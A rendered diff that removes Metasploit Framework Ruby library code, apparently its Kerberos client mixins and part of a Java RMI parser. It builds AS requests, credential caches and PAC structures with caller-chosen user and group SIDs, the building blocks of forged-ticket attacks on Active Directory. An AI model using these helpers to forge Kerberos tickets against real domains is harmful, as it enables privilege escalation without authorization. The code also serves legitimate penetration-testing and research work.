|
|
||||||
utf_descriptor = Rex::Java::Serialization::Model::Utf.new(nil, m[:descriptor])
|
|
||||||
stream << utf_method.encode
|
|
||||||
stream << utf_descriptor.encode
|
|
||||||
m[:exceptions].each do |e|
|
|
||||||
utf_exception = Rex::Java::Serialization::Model::Utf.new(nil, e)
|
|
||||||
stream << utf_exception.encode
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
sha1 = Rex::Text.sha1_raw(stream)
|
|
||||||
|
|
||||||
sha1.unpack('Q<')[0]
|
|
||||||
end
|
|
||||||
|
|
||||||
# Extracts an string from an IO
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to extract the string from
|
|
||||||
# @return [String, nil] the extracted string if success, nil otherwise
|
|
||||||
def extract_string(io)
|
|
||||||
raw_length = io.read(2)
|
|
||||||
unless raw_length && raw_length.length == 2
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
length = raw_length.unpack('s>')[0]
|
|
||||||
|
|
||||||
string = io.read(length)
|
|
||||||
unless string && string.length == length
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
string
|
|
||||||
end
|
|
||||||
|
|
||||||
# Extracts an int from an IO
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to extract the int from
|
|
||||||
# @return [Fixnum, nil] the extracted int if success, nil otherwise
|
|
||||||
def extract_int(io)
|
|
||||||
int_raw = io.read(4)
|
|
||||||
unless int_raw && int_raw.length == 4
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
int = int_raw.unpack('l>')[0]
|
|
||||||
|
|
||||||
int
|
|
||||||
end
|
|
||||||
|
|
||||||
# Extracts a long from an IO
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to extract the long from
|
|
||||||
# @return [Fixnum, nil] the extracted int if success, nil otherwise
|
|
||||||
def extract_long(io)
|
|
||||||
int_raw = io.read(8)
|
|
||||||
unless int_raw && int_raw.length == 8
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
int = int_raw.unpack('q>')[0]
|
|
||||||
|
|
||||||
int
|
|
||||||
end
|
|
||||||
|
|
||||||
# Extract an RMI interface reference from an IO
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to extract the reference from, should contain the data
|
|
||||||
# inside a BlockData with the reference information.
|
|
||||||
# @return [Hash, nil] the extracted reference if success, nil otherwise
|
|
||||||
# @see Msf::Java::Rmi::Client::Jmx:Server::Parser#parse_jmx_new_client_endpoint
|
|
||||||
# @see Msf::Java::Rmi::Client::Registry::Parser#parse_registry_lookup_endpoint
|
|
||||||
def extract_reference(io)
|
|
||||||
ref = extract_string(io)
|
|
||||||
unless ref && ref == 'UnicastRef'
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
address = extract_string(io)
|
|
||||||
return nil unless address
|
|
||||||
|
|
||||||
port = extract_int(io)
|
|
||||||
return nil unless port
|
|
||||||
|
|
||||||
object_number = extract_long(io)
|
|
||||||
|
|
||||||
uid = Rex::Proto::Rmi::Model::UniqueIdentifier.decode(io)
|
|
||||||
|
|
||||||
{address: address, port: port, object_number: object_number, uid: uid}
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,139 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
require 'rex/proto/kerberos'
|
|
||||||
|
|
||||||
module Msf
|
|
||||||
module Kerberos
|
|
||||||
module Client
|
|
||||||
require 'msf/kerberos/client/base'
|
|
||||||
require 'msf/kerberos/client/as_request'
|
|
||||||
require 'msf/kerberos/client/as_response'
|
|
||||||
require 'msf/kerberos/client/tgs_request'
|
|
||||||
require 'msf/kerberos/client/tgs_response'
|
|
||||||
require 'msf/kerberos/client/pac'
|
|
||||||
require 'msf/kerberos/client/cache_credential'
|
|
||||||
|
|
||||||
include Msf::Kerberos::Client::Base
|
|
||||||
include Msf::Kerberos::Client::AsRequest
|
|
||||||
include Msf::Kerberos::Client::AsResponse
|
|
||||||
include Msf::Kerberos::Client::TgsRequest
|
|
||||||
include Msf::Kerberos::Client::TgsResponse
|
|
||||||
include Msf::Kerberos::Client::Pac
|
|
||||||
include Msf::Kerberos::Client::CacheCredential
|
|
||||||
|
|
||||||
# @!attribute client
|
|
||||||
# @return [Rex::Proto::Kerberos::Client] The kerberos client
|
|
||||||
attr_accessor :client
|
|
||||||
|
|
||||||
def initialize(info = {})
|
|
||||||
super
|
|
||||||
|
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
Opt::RHOST,
|
|
||||||
Opt::RPORT(88),
|
|
||||||
OptInt.new('Timeout', [true, 'The TCP timeout to establish connection and read data', 10])
|
|
||||||
], self.class
|
|
||||||
)
|
|
||||||
end
|
|
||||||
|
|
||||||
# Returns the target host
|
|
||||||
#
|
|
||||||
# @return [String]
|
|
||||||
def rhost
|
|
||||||
datastore['RHOST']
|
|
||||||
end
|
|
||||||
|
|
||||||
# Returns the remote port
|
|
||||||
#
|
|
||||||
# @return [Fixnum]
|
|
||||||
def rport
|
|
||||||
datastore['RPORT']
|
|
||||||
end
|
|
||||||
|
|
||||||
# Returns the TCP timeout
|
|
||||||
#
|
|
||||||
# @return [Fixnum]
|
|
||||||
def timeout
|
|
||||||
datastore['Timeout']
|
|
||||||
end
|
|
||||||
|
|
||||||
# Returns the kdc peer
|
|
||||||
#
|
|
||||||
# @return [String]
|
|
||||||
def peer
|
|
||||||
"#{rhost}:#{rport}"
|
|
||||||
end
|
|
||||||
|
|
||||||
# Creates a kerberos connection
|
|
||||||
#
|
|
||||||
# @param opts [Hash{Symbol => <String, Fixnum>}]
|
|
||||||
# @option opts [String] :rhost
|
|
||||||
# @option opts [<String, Fixnum>] :rport
|
|
||||||
# @return [Rex::Proto::Kerberos::Client]
|
|
||||||
def connect(opts={})
|
|
||||||
kerb_client = Rex::Proto::Kerberos::Client.new(
|
|
||||||
host: opts[:rhost] || rhost,
|
|
||||||
port: (opts[:rport] || rport).to_i,
|
|
||||||
timeout: (opts[:timeout] || timeout).to_i,
|
|
||||||
context:
|
|
||||||
{
|
|
||||||
'Msf' => framework,
|
|
||||||
'MsfExploit' => self,
|
|
||||||
},
|
|
||||||
protocol: 'tcp'
|
|
||||||
)
|
|
||||||
|
|
||||||
disconnect if client
|
|
||||||
self.client = kerb_client
|
|
||||||
|
|
||||||
kerb_client
|
|
||||||
end
|
|
||||||
|
|
||||||
# Disconnects the Kerberos client
|
|
||||||
#
|
|
||||||
# @param kerb_client [Rex::Proto::Kerberos::Client] the client to disconnect
|
|
||||||
def disconnect(kerb_client = client)
|
|
||||||
kerb_client.close if kerb_client
|
|
||||||
|
|
||||||
if kerb_client == client
|
|
||||||
self.client = nil
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# Performs cleanup as necessary, disconnecting the Kerberos client
|
|
||||||
# if it's still established.
|
|
||||||
def cleanup
|
|
||||||
super
|
|
||||||
disconnect
|
|
||||||
end
|
|
||||||
|
|
||||||
# Sends a kerberos AS request and reads the response
|
|
||||||
#
|
|
||||||
# @param opts [Hash]
|
|
||||||
# @return [Rex::Proto::Kerberos::Model::KdcResponse]
|
|
||||||
# @see Msf::Kerberos::Client::AsRequest#build_as_request
|
|
||||||
# @see Rex::Proto::Kerberos::Model::KdcResponse
|
|
||||||
def send_request_as(opts = {})
|
|
||||||
connect(opts)
|
|
||||||
req = build_as_request(opts)
|
|
||||||
res = client.send_recv(req)
|
|
||||||
disconnect
|
|
||||||
res
|
|
||||||
end
|
|
||||||
|
|
||||||
# Sends a kerberos AS request and reads the response
|
|
||||||
#
|
|
||||||
# @param opts [Hash]
|
|
||||||
# @return [Rex::Proto::Kerberos::Model::KdcResponse]
|
|
||||||
# @see Msf::Kerberos::Client::TgsRequest#build_tgs_request
|
|
||||||
# @see Rex::Proto::Kerberos::Model::KdcResponse
|
|
||||||
def send_request_tgs(opts = {})
|
|
||||||
connect(opts)
|
|
||||||
req = build_tgs_request(opts)
|
|
||||||
res = client.send_recv(req)
|
|
||||||
disconnect
|
|
||||||
res
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,111 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
require 'rex/proto/kerberos'
|
|
||||||
|
|
||||||
module Msf
|
|
||||||
module Kerberos
|
|
||||||
module Client
|
|
||||||
module AsRequest
|
|
||||||
|
|
||||||
# Builds a kerberos AS request
|
|
||||||
#
|
|
||||||
# @param opts [Hash{Symbol => <Array<Rex::Proto::Kerberos::Model::PreAuthData>, Rex::Proto::Kerberos::Model::KdcRequestBody>}]
|
|
||||||
# @option opts [Array<Rex::Proto::Kerberos::Model::PreAuthData>] :pa_data
|
|
||||||
# @option opts [Rex::Proto::Kerberos::Model::KdcRequestBody] :body
|
|
||||||
# @return [Rex::Proto::Kerberos::Model::KdcRequest]
|
|
||||||
# @see [Rex::Proto::Kerberos::Model::KdcRequest]
|
|
||||||
# @see #build_as_pa_time_stamp
|
|
||||||
# @see #build_as_request_body
|
|
||||||
def build_as_request(opts = {})
|
|
||||||
pa_data = opts[:pa_data] || build_as_pa_time_stamp(opts)
|
|
||||||
body = opts[:body] || build_as_request_body(opts)
|
|
||||||
|
|
||||||
request = Rex::Proto::Kerberos::Model::KdcRequest.new(
|
|
||||||
pvno: 5,
|
|
||||||
msg_type: Rex::Proto::Kerberos::Model::AS_REQ,
|
|
||||||
pa_data: pa_data,
|
|
||||||
req_body: body
|
|
||||||
)
|
|
||||||
|
|
||||||
request
|
|
||||||
end
|
|
||||||
|
|
||||||
# Builds a kerberos PA-ENC-TIMESTAMP pre authenticated structure
|
|
||||||
#
|
|
||||||
# @param opts [Hash{Symbol => <Time, Fixnum, String>}]
|
|
||||||
# @option opts [Time] :time_stamp
|
|
||||||
# @option opts [Fixnum] :pausec
|
|
||||||
# @option opts [Fixnum] :etype
|
|
||||||
# @option opts [String] :key
|
|
||||||
# @return [Rex::Proto::Kerberos::Model::PreAuthData]
|
|
||||||
# @see Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp
|
|
||||||
# @see Rex::Proto::Kerberos::Model::EncryptedData
|
|
||||||
# @see Rex::Proto::Kerberos::Model::PreAuthData
|
|
||||||
def build_as_pa_time_stamp(opts = {})
|
|
||||||
time_stamp = opts[:time_stamp] || Time.now
|
|
||||||
pausec = opts[:pausec] || 0
|
|
||||||
etype = opts[:etype] || Rex::Proto::Kerberos::Crypto::RC4_HMAC
|
|
||||||
key = opts[:key] || ''
|
|
||||||
|
|
||||||
pa_time_stamp = Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp.new(
|
|
||||||
pa_time_stamp: time_stamp,
|
|
||||||
pausec: pausec
|
|
||||||
)
|
|
||||||
|
|
||||||
enc_time_stamp = Rex::Proto::Kerberos::Model::EncryptedData.new(
|
|
||||||
etype: etype,
|
|
||||||
cipher: pa_time_stamp.encrypt(etype, key)
|
|
||||||
)
|
|
||||||
|
|
||||||
pa_enc_time_stamp = Rex::Proto::Kerberos::Model::PreAuthData.new(
|
|
||||||
type: Rex::Proto::Kerberos::Model::PA_ENC_TIMESTAMP,
|
|
||||||
value: enc_time_stamp.encode
|
|
||||||
)
|
|
||||||
|
|
||||||
pa_enc_time_stamp
|
|
||||||
end
|
|
||||||
|
|
||||||
# Builds a kerberos AS request body
|
|
||||||
#
|
|
||||||
# @param opts [Hash{Symbol => <Fixnum, Time, String, Rex::Proto::Kerberos::Model::PrincipalName>}]
|
|
||||||
# @option opts [Fixnum] :options
|
|
||||||
# @option opts [Time] :from
|
|
||||||
# @option opts [Time] :till
|
|
||||||
# @option opts [Time] :rtime
|
|
||||||
# @option opts [Fixnum] :nonce
|
|
||||||
# @option opts [Fixnum] :etype
|
|
||||||
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname
|
|
||||||
# @option opts [String] :realm
|
|
||||||
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :sname
|
|
||||||
# @return [Rex::Proto::Kerberos::Model::KdcRequestBody]
|
|
||||||
# @see #build_client_name
|
|
||||||
# @see #build_server_name
|
|
||||||
# @see Rex::Proto::Kerberos::Model::KdcRequestBody
|
|
||||||
def build_as_request_body(opts = {})
|
|
||||||
options = opts[:options] || 0x50800000 # Forwardable, Proxiable, Renewable
|
|
||||||
from = opts[:from] || Time.utc('1970-01-01-01 00:00:00')
|
|
||||||
till = opts[:till] || Time.utc('1970-01-01-01 00:00:00')
|
|
||||||
rtime = opts[:rtime] || Time.utc('1970-01-01-01 00:00:00')
|
|
||||||
nonce = opts[:nonce] || Rex::Text.rand_text_numeric(6).to_i
|
|
||||||
etype = opts[:etype] || [Rex::Proto::Kerberos::Crypto::RC4_HMAC]
|
|
||||||
cname = opts[:cname] || build_client_name(opts)
|
|
||||||
realm = opts[:realm] || ''
|
|
||||||
sname = opts[:sname] || build_server_name(opts)
|
|
||||||
|
|
||||||
body = Rex::Proto::Kerberos::Model::KdcRequestBody.new(
|
|
||||||
options: options,
|
|
||||||
cname: cname,
|
|
||||||
realm: realm,
|
|
||||||
sname: sname,
|
|
||||||
from: from,
|
|
||||||
till: till,
|
|
||||||
rtime: rtime,
|
|
||||||
nonce: nonce,
|
|
||||||
etype: etype
|
|
||||||
)
|
|
||||||
|
|
||||||
body
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,46 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
require 'rex/proto/kerberos'
|
|
||||||
|
|
||||||
module Msf
|
|
||||||
module Kerberos
|
|
||||||
module Client
|
|
||||||
module AsResponse
|
|
||||||
|
|
||||||
# Extracts the session key from a Kerberos AS Response
|
|
||||||
#
|
|
||||||
# @param res [Rex::Proto::Kerberos::Model::KdcResponse]
|
|
||||||
# @param key [String]
|
|
||||||
# @return [Rex::Proto::Kerberos::Model::EncryptionKey]
|
|
||||||
# @see Rex::Proto::Kerberos::Model::KdcResponse
|
|
||||||
# @see Rex::Proto::Kerberos::Model::EncryptedData.decrypt
|
|
||||||
# @see Rex::Proto::Kerberos::Model::EncKdcResponse
|
|
||||||
# @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode
|
|
||||||
# @see Rex::Proto::Kerberos::Model::EncryptionKey
|
|
||||||
def extract_session_key(res, key)
|
|
||||||
decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_AS_RESPONSE)
|
|
||||||
enc_kdc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res)
|
|
||||||
|
|
||||||
enc_kdc_res.key
|
|
||||||
end
|
|
||||||
|
|
||||||
# Extracts the logon time from a Kerberos AS Response
|
|
||||||
#
|
|
||||||
# @param res [Rex::Proto::Kerberos::Model::KdcResponse]
|
|
||||||
# @param key [String]
|
|
||||||
# @return [Fixnum]
|
|
||||||
# @see Rex::Proto::Kerberos::Model::KdcResponse
|
|
||||||
# @see Rex::Proto::Kerberos::Model::EncryptedData.decrypt
|
|
||||||
# @see Rex::Proto::Kerberos::Model::EncKdcResponse
|
|
||||||
# @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode
|
|
||||||
def extract_logon_time(res, key)
|
|
||||||
decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_AS_RESPONSE)
|
|
||||||
enc_kdc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res)
|
|
||||||
|
|
||||||
auth_time = enc_kdc_res.auth_time
|
|
||||||
|
|
||||||
auth_time.to_i
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,44 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Msf
|
|
||||||
module Kerberos
|
|
||||||
module Client
|
|
||||||
module Base
|
|
||||||
|
|
||||||
# Builds a kerberos Client Name Principal
|
|
||||||
#
|
|
||||||
# @param opts [Hash{Symbol => <String, Fixnum>}]
|
|
||||||
# @option opts [String] :client_name the client's name
|
|
||||||
# @option opts [Fixnum] :client_type the client's name type
|
|
||||||
# @return [Rex::Proto::Kerberos::Model::PrincipalName]
|
|
||||||
# @see Rex::Proto::Kerberos::Model::PrincipalName
|
|
||||||
def build_client_name(opts = {})
|
|
||||||
name = opts[:client_name] || ''
|
|
||||||
name_type = opts[:client_type] || Rex::Proto::Kerberos::Model::NT_PRINCIPAL
|
|
||||||
|
|
||||||
Rex::Proto::Kerberos::Model::PrincipalName.new(
|
|
||||||
name_type: name_type,
|
|
||||||
name_string: name.split('/')
|
|
||||||
)
|
|
||||||
end
|
|
||||||
|
|
||||||
# Builds a kerberos Server Name Principal
|
|
||||||
#
|
|
||||||
# @param opts [Hash{Symbol => <String, Fixnum>}]
|
|
||||||
# @option opts [String] :server_name the server's name
|
|
||||||
# @option opts [Fixnum] :server_type the server's name type
|
|
||||||
# @return [Rex::Proto::Kerberos::Model::PrincipalName]
|
|
||||||
# @see Rex::Proto::Kerberos::Model::PrincipalName
|
|
||||||
def build_server_name(opts = {})
|
|
||||||
name = opts[:server_name] || ''
|
|
||||||
name_type = opts[:server_type] || Rex::Proto::Kerberos::Model::NT_PRINCIPAL
|
|
||||||
|
|
||||||
Rex::Proto::Kerberos::Model::PrincipalName.new(
|
|
||||||
name_type: name_type,
|
|
||||||
name_string: name.split('/')
|
|
||||||
)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,148 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
require 'rex/proto/kerberos'
|
|
||||||
|
|
||||||
module Msf
|
|
||||||
module Kerberos
|
|
||||||
module Client
|
|
||||||
module CacheCredential
|
|
||||||
|
|
||||||
# Builds a MIT Credential Cache
|
|
||||||
#
|
|
||||||
# @param opts [Hash{Symbol => <Fixnum, Array<String>, Rex::Proto::Kerberos::CredentialCache::Principal, Array<Rex::Proto::Kerberos::CredentialCache::Credential>>}]
|
|
||||||
# @option opts [Fixnum] :version
|
|
||||||
# @option opts [Array<String>] :headers
|
|
||||||
# @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] :primary_principal
|
|
||||||
# @option opts [Array<Rex::Proto::Kerberos::CredentialCache::Credential>] :credentials
|
|
||||||
# @return [Rex::Proto::Kerberos::CredentialCache::Cache]
|
|
||||||
# @see Rex::Proto::Kerberos::CredentialCache::Cache
|
|
||||||
def create_cache(opts = {})
|
|
||||||
version = opts[:version] || Rex::Proto::Kerberos::CredentialCache::VERSION
|
|
||||||
headers = opts[:headers] || [Rex::Proto::Kerberos::CredentialCache::HEADER]
|
|
||||||
primary_principal = opts[:primary_principal] || create_cache_principal(opts)
|
|
||||||
credentials = opts[:credentials] || [create_cache_credential(opts)]
|
|
||||||
|
|
||||||
cache = Rex::Proto::Kerberos::CredentialCache::Cache.new(
|
|
||||||
version: version,
|
|
||||||
headers: headers,
|
|
||||||
primary_principal: primary_principal,
|
|
||||||
credentials: credentials
|
|
||||||
)
|
|
||||||
|
|
||||||
cache
|
|
||||||
end
|
|
||||||
|
|
||||||
# Builds a MIT Credential Cache principal
|
|
||||||
#
|
|
||||||
# @param opts [Hash<{Symbol => <Fixnum, String, Array<String>>}>]
|
|
||||||
# @option opts [Fixnum] :name_type
|
|
||||||
# @option opts [String] :realm
|
|
||||||
# @option opts [Array<String>] :components
|
|
||||||
# @return [Rex::Proto::Kerberos::CredentialCache::Principal]
|
|
||||||
# @see Rex::Proto::Kerberos::CredentialCache::Principal
|
|
||||||
def create_cache_principal(opts = {})
|
|
||||||
name_type = opts[:name_type] || 0
|
|
||||||
realm = opts[:realm] || ''
|
|
||||||
components = opts[:components] || ['']
|
|
||||||
|
|
||||||
principal = Rex::Proto::Kerberos::CredentialCache::Principal.new(
|
|
||||||
name_type: name_type,
|
|
||||||
realm: realm,
|
|
||||||
components:components
|
|
||||||
)
|
|
||||||
|
|
||||||
principal
|
|
||||||
end
|
|
||||||
|
|
||||||
# Builds a MIT Credential Cache key block
|
|
||||||
#
|
|
||||||
# @param opts [Hash<{Symbol => <Fixnum, String>}>]
|
|
||||||
# @option opts [Fixnum] :key_type
|
|
||||||
# @option opts [Fixnum] :e_type
|
|
||||||
# @option opts [String] :key_value
|
|
||||||
# @return [Rex::Proto::Kerberos::CredentialCache::KeyBlock]
|
|
||||||
# @see Rex::Proto::Kerberos::CredentialCache::KeyBlock
|
|
||||||
def create_cache_key_block(opts = {})
|
|
||||||
key_type = opts[:key_type] || Rex::Proto::Kerberos::Crypto::RC4_HMAC
|
|
||||||
e_type = opts[:e_type] || 0
|
|
||||||
key_value = opts[:key_value] || ''
|
|
||||||
|
|
||||||
key_block = Rex::Proto::Kerberos::CredentialCache::KeyBlock.new(
|
|
||||||
key_type: key_type,
|
|
||||||
e_type: e_type,
|
|
||||||
key_value: key_value
|
|
||||||
)
|
|
||||||
|
|
||||||
key_block
|
|
||||||
end
|
|
||||||
|
|
||||||
# Builds a times structure linked to a credential in a MIT Credential Cache
|
|
||||||
#
|
|
||||||
# @param opts [Hash<{Symbol => Fixnum}>]
|
|
||||||
# @option opts [Fixnum] auth_time
|
|
||||||
# @option opts [Fixnum] start_time
|
|
||||||
# @option opts [Fixnum] end_time
|
|
||||||
# @option opts [Fixnum] renew_till
|
|
||||||
# @return [Rex::Proto::Kerberos::CredentialCache::Time]
|
|
||||||
# @see Rex::Proto::Kerberos::CredentialCache::Time
|
|
||||||
def create_cache_times(opts = {})
|
|
||||||
auth_time = opts[:auth_time] || 0
|
|
||||||
start_time = opts[:start_time] || 0
|
|
||||||
end_time = opts[:end_time] || 0
|
|
||||||
renew_till = opts[:renew_till] || 0
|
|
||||||
|
|
||||||
time = Rex::Proto::Kerberos::CredentialCache::Time.new(
|
|
||||||
auth_time: auth_time.to_i,
|
|
||||||
start_time: start_time.to_i,
|
|
||||||
end_time: end_time.to_i,
|
|
||||||
renew_till: renew_till.to_i
|
|
||||||
)
|
|
||||||
|
|
||||||
time
|
|
||||||
end
|
|
||||||
|
|
||||||
# Builds a MIT Credential Cache credential
|
|
||||||
#
|
|
||||||
# @param opts [Hash<{Symbol => <>}>]
|
|
||||||
# @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] client
|
|
||||||
# @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] server
|
|
||||||
# @option opts [Rex::Proto::Kerberos::CredentialCache::KeyBlock] key
|
|
||||||
# @option opts [Rex::Proto::Kerberos::CredentialCache::Time] time
|
|
||||||
# @option opts [Fixnum] is_key
|
|
||||||
# @option opts [Fixnum] flags
|
|
||||||
# @option opts [Array] addrs
|
|
||||||
# @option opts [Array] auth_data
|
|
||||||
# @option opts [String] ticket
|
|
||||||
# @option opts [String] second_ticket
|
|
||||||
# @return [Rex::Proto::Kerberos::CredentialCache::Credential]
|
|
||||||
# @see Rex::Proto::Kerberos::CredentialCache::Credential
|
|
||||||
def create_cache_credential(opts = {})
|
|
||||||
client = opts[:client] || create_cache_principal(opts)
|
|
||||||
server = opts[:server] || create_cache_principal(opts)
|
|
||||||
key = opts[:key] || create_cache_key_block(opts)
|
|
||||||
time = opts[:time] || create_cache_times(opts)
|
|
||||||
is_skey = opts[:is_skey] || 0
|
|
||||||
tkt_flags = opts[:flags] || 0
|
|
||||||
addrs = opts[:addrs] || []
|
|
||||||
auth_data = opts[:auth_data] || []
|
|
||||||
ticket = opts[:ticket] || ''
|
|
||||||
second_ticket = opts[:second_ticket] || ''
|
|
||||||
|
|
||||||
cred = Rex::Proto::Kerberos::CredentialCache::Credential.new(
|
|
||||||
client: client,
|
|
||||||
server: server,
|
|
||||||
key: key,
|
|
||||||
time: time,
|
|
||||||
is_skey: is_skey,
|
|
||||||
tkt_flags:tkt_flags,
|
|
||||||
addrs: addrs,
|
|
||||||
auth_data: auth_data,
|
|
||||||
ticket: ticket,
|
|
||||||
second_ticket: second_ticket
|
|
||||||
)
|
|
||||||
|
|
||||||
cred
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,111 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
require 'rex/proto/kerberos'
|
|
||||||
|
|
||||||
module Msf
|
|
||||||
module Kerberos
|
|
||||||
module Client
|
|
||||||
module Pac
|
|
||||||
|
|
||||||
# Builds a kerberos PA-PAC-REQUEST pre authenticated structure
|
|
||||||
#
|
|
||||||
# @param opts [Hash{Symbol => Boolean}]
|
|
||||||
# @option opts [Boolean] :pac_request_value
|
|
||||||
# @return [Rex::Proto::Kerberos::Model::Field::PreAuthData]
|
|
||||||
# @see Rex::Proto::Kerberos::Model::PreAuthPacRequest
|
|
||||||
# @see Rex::Proto::Kerberos::Model::PreAuthData
|
|
||||||
def build_pa_pac_request(opts = {})
|
|
||||||
value = opts[:pac_request_value] || false
|
|
||||||
pac_request = Rex::Proto::Kerberos::Model::PreAuthPacRequest.new(value: value)
|
|
||||||
pa_pac_request = Rex::Proto::Kerberos::Model::PreAuthData.new(
|
|
||||||
type: Rex::Proto::Kerberos::Model::PA_PAC_REQUEST,
|
|
||||||
value: pac_request.encode
|
|
||||||
)
|
|
||||||
|
|
||||||
pa_pac_request
|
|
||||||
end
|
|
||||||
|
|
||||||
# Builds a kerberos PACTYPE structure
|
|
||||||
#
|
|
||||||
# @param opts [Hash{Symbol => <String, Fixnum, Array, Time>}]
|
|
||||||
# @option opts [String] :client_name
|
|
||||||
# @option opts [Fixnum] :user_id the user SID Ex: 1000
|
|
||||||
# @option opts [Fixnum] :group_id Ex: 513 for 'Domain Users'
|
|
||||||
# @option opts [Array<Fixnum>] :group_ids
|
|
||||||
# @option opts [String] :realm
|
|
||||||
# @option opts [String] :domain_id the domain SID Ex: S-1-5-21-1755879683-3641577184-3486455962
|
|
||||||
# @option opts [Time] :logon_time
|
|
||||||
# @return [Rex::Proto::Kerberos::Pac::Type]
|
|
||||||
# @see Rex::Proto::Kerberos::Pac::LogonInfo
|
|
||||||
# @see Rex::Proto::Kerberos::Pac::ClientInfo
|
|
||||||
# @see Rex::Proto::Kerberos::Pac::ServerChecksum
|
|
||||||
# @see Rex::Proto::Kerberos::Pac::PrivSvrChecksum
|
|
||||||
# @see Rex::Proto::Kerberos::Pac::Type
|
|
||||||
def build_pac(opts = {})
|
|
||||||
user_name = opts[:client_name] || ''
|
|
||||||
user_id = opts[:user_id] || Rex::Proto::Kerberos::Pac::DEFAULT_USER_SID
|
|
||||||
primary_group_id = opts[:group_id] || Rex::Proto::Kerberos::Pac::DOMAIN_USERS
|
|
||||||
group_ids = opts[:group_ids] || [Rex::Proto::Kerberos::Pac::DOMAIN_USERS]
|
|
||||||
domain_name = opts[:realm] || ''
|
|
||||||
domain_id = opts[:domain_id] || Rex::Proto::Kerberos::Pac::NT_AUTHORITY_SID
|
|
||||||
logon_time = opts[:logon_time] || Time.now
|
|
||||||
checksum_type = opts[:checksum_type] || Rex::Proto::Kerberos::Crypto::RSA_MD5
|
|
||||||
|
|
||||||
logon_info = Rex::Proto::Kerberos::Pac::LogonInfo.new(
|
|
||||||
logon_time: logon_time,
|
|
||||||
effective_name: user_name,
|
|
||||||
user_id: user_id,
|
|
||||||
primary_group_id: primary_group_id,
|
|
||||||
group_ids: group_ids,
|
|
||||||
logon_domain_name: domain_name,
|
|
||||||
logon_domain_id: domain_id,
|
|
||||||
)
|
|
||||||
|
|
||||||
client_info = Rex::Proto::Kerberos::Pac::ClientInfo.new(
|
|
||||||
client_id: logon_time,
|
|
||||||
name: user_name
|
|
||||||
)
|
|
||||||
|
|
||||||
server_checksum = Rex::Proto::Kerberos::Pac::ServerChecksum.new(
|
|
||||||
checksum: checksum_type
|
|
||||||
)
|
|
||||||
|
|
||||||
priv_srv_checksum = Rex::Proto::Kerberos::Pac::PrivSvrChecksum.new(
|
|
||||||
checksum: checksum_type
|
|
||||||
)
|
|
||||||
|
|
||||||
pac_type = Rex::Proto::Kerberos::Pac::Type.new(
|
|
||||||
buffers: [
|
|
||||||
logon_info,
|
|
||||||
client_info,
|
|
||||||
server_checksum,
|
|
||||||
priv_srv_checksum
|
|
||||||
],
|
|
||||||
checksum: checksum_type
|
|
||||||
)
|
|
||||||
|
|
||||||
pac_type
|
|
||||||
end
|
|
||||||
|
|
||||||
# Builds an kerberos AuthorizationData structure containing a PACTYPE
|
|
||||||
#
|
|
||||||
# @param opts [Hash{Symbol => Rex::Proto::Kerberos::Pac::Type}]
|
|
||||||
# @option opts [Rex::Proto::Kerberos::Pac::Type] :pac
|
|
||||||
# @return [Rex::Proto::Kerberos::Model::AuthorizationData]
|
|
||||||
# @see Rex::Proto::Kerberos::Model::AuthorizationData
|
|
||||||
def build_pac_authorization_data(opts = {})
|
|
||||||
pac = opts[:pac] || build_pac(opts)
|
|
||||||
|
|
||||||
pac_auth_data = Rex::Proto::Kerberos::Model::AuthorizationData.new(
|
|
||||||
elements: [{:type => Rex::Proto::Kerberos::Pac::AD_WIN2K_PAC, :data => pac.encode}]
|
|
||||||
)
|
|
||||||
authorization_data = Rex::Proto::Kerberos::Model::AuthorizationData.new(
|
|
||||||
elements: [{:type => Rex::Proto::Kerberos::Model::AD_IF_RELEVANT, :data => pac_auth_data.encode}]
|
|
||||||
)
|
|
||||||
|
|
||||||
authorization_data
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,273 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
require 'rex/proto/kerberos'
|
|
||||||
|
|
||||||
module Msf
|
|
||||||
module Kerberos
|
|
||||||
module Client
|
|
||||||
module TgsRequest
|
|
